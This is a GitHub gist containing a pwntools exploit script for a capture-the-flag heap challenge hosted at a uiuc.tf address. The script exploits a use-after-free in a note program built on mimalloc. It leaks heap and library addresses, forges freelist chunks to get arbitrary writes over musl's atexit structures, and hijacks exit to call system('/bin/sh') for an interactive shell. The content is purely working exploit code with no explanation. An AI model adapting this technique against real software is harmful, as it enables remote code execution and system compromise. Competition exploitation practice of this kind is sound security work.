Skip to content

Instantly share code, notes, and snippets.

@pawnlord
Created July 28, 2025 03:51
Show Gist options
  • Save pawnlord/5ebed2e48fe1675339fd871bdac01cf4 to your computer and use it in GitHub Desktop.
Save pawnlord/5ebed2e48fe1675339fd871bdac01cf4 to your computer and use it in GitHub Desktop.
from pwn import *
chal = ELF("./chal")
context.binary = chal
musl = ELF("./libc.musl-x86_64.so.1")
mimalloc = ELF("./libmimalloc.so.2.2")
r = remote("doremi.chal.uiuc.tf", 1337, ssl=True)
r.recvuntil(b"YAHNC> ")
def create(i):
r.sendline(b'1')
r.sendline(str(i).encode())
r.recvuntil(b"YAHNC> ")
def free(i):
r.sendline(b'2')
r.sendline(str(i).encode())
r.recvuntil(b"YAHNC> ")
def read(i):
r.sendline(b'3')
r.recvuntil(b"Position? (0-15): ")
r.sendline(str(i).encode())
return r.recvuntil(b"\nDone!\nYAHNC> ").replace(b"\nDone!\nYAHNC> ", b"")
def write(i, payload):
r.sendline(b'4')
r.sendline(str(i).encode())
r.sendline(payload)
r.recvuntil(b"YAHNC> ")
def arb_chunk(idx, addr=None, n=0):
print("# Creating and freeing chunks...")
create(0)
create(1)
free(0)
free(1)
if addr is None:
print("# Getting heap leak...")
heap_leak_full = read(1)
heap_leak = (u64(heap_leak_full[:8]) & (~0xFFFFF))
print("# Writing target address...")
if addr is None:
write(1, p64(heap_leak))
else:
write(1, p64(addr))
print("# Setting free to local_free...")
for i in range(32 - 2 - n):
create(2)
print("# Creating target notes...")
create(2)
create(idx)
arb_chunk(3)
print("# Reading chunk 3 (mimalloc leak note)...")
mimalloc_leak_full = read(3)
print(mimalloc_leak_full.hex())
mi_subproc_default = u64(mimalloc_leak_full[0x28:0x30])
print("'mi_subproc_default`:", hex(mi_subproc_default))
mimalloc.address = mi_subproc_default - mimalloc.symbols["mi_subproc_default"]
print("libmimalloc base:", hex(mimalloc.address))
musl.address = mimalloc.address + 0x33000
print("musl base:", hex(musl.address))
HEAD = 0xa4d88 + musl.address
SLOTS = 0xa4fa4 + musl.address
print("musl atexit head:", hex(HEAD))
print("musl atexit slots:", hex(SLOTS))
fake_fl = [p64(0x0)] + ([p64(0x0)] * 32) + [p64(0x0)]
fake_fl[1] = p64(musl.symbols["system"])
print("# Creating fake chunks...")
create(0)
create(1)
create(2)
create(3)
create(4)
print("# Reading fake chunk addresses...")
fake_chunk1 = read(0)[:8]
fake_chunk1_5 = read(1)[:8]
fake_chunk2 = read(3)[:8]
print(fake_chunk1)
print(fake_chunk1_5)
print(fake_chunk2)
fake_fl[32 + 1] = fake_chunk2
fake_fl = b''.join(fake_fl)
print("# Writing the fake struct fl to the chunks")
write(1, fake_fl[:126])
write(3, fake_fl[256:(256 + 128 - 2)])
write(4, b'/bin/sh\x00')
print("# Creating notes that overlap with atexit's head...")
print(hex(HEAD - 24))
arb_chunk(7, HEAD - 24, n=5)
print("# Creating notes that overlap with atexit's slots...")
print(p64(SLOTS))
arb_chunk(8, SLOTS)
print("# Overwriting head and slots...")
write(8, p64(1))
write(7, b'a'*24 + fake_chunk1)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment